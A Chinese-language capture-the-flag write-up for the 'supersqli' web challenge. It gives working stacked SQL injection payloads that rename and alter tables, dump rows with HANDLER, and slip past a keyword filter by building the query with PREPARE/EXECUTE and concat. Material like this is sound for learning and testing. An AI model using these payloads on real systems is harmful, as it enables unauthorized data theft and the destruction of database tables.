1. 程式人生 > 實用技巧 >攻防世界-Web進階-supersqli

攻防世界-Web進階-supersqli

很久之前做的題目了,現在拿到有點想不起來,記一下方法

其一:堆疊注入(rename+alter)

rename:修改表名

格式:rename tables 原表名 to 新表名;

alter:修改表名或欄位;

格式:修改表名:alter tables 原表名 rename 新表名;

修改欄位,如增刪改:

增:alter table 表名 add 要增加的欄位名 型別;刪:alter table 表名 drop 要刪除的欄位名;

改:alter table 表名 change 原欄位名 新欄位名 型別;

這題首先過濾了select|update|delete|drop|insert|where

①1';show tables;#

②1';show columns from words;#

③1';show columns from `1919810931114514`;# 注:以純數字為表名的,操作時要加反引號`

④1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

else:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` add `id` varchar(100);#

構造後的結構:

解釋:可以判斷出words是預設查詢的表,且inject的值是賦給了id,所以要將flag所在表名改為words,並且把flag欄位改為id,或者增加id欄位,最後構造一個萬能密碼

其二:handler查詢語句

基本語法:

通過HANDLER table_name OPEN開啟一張表,無返回結果,實際上我們在這裡聲明瞭一個名為table_name的控制代碼。
通過HANDLER table_name READ FIRST獲取控制代碼的第一行,通過READ NEXT依次獲取其它行。最後一行執行之後再執行NEXT會返回一個空的結果。
通過HANDLER table_name CLOSE來關閉開啟的控制代碼。

前面探索表名、欄位的過程就省略了

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

適用:知道表,部分查詢被過濾,可以直接用handler查看錶的內容

其三:預編譯

詳情可以參考:https://www.cnblogs.com/micrari/p/7112781.html

這裡記一下簡單理解,所謂預編譯語句就是將反覆執行的SQL語句或者語句中相同的部分的值用佔位符(?)替代,可以視為將sql語句模板化或者說引數化

方法:

  • PREPARE - 準備執行的宣告。
  • EXECUTE - 執行由PREPARE語句定義的語句。
  • 舉個栗子:prepare ins from 'insert into t select ?,?';execute ins;

具體:

1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;#

解釋:set就不用解釋了,@後面的字串是自定義的前後一致即可,concat是拼接裡面的字串,如concat('str1','str2')結果就是str1str2,smt是自定義,前後一致即可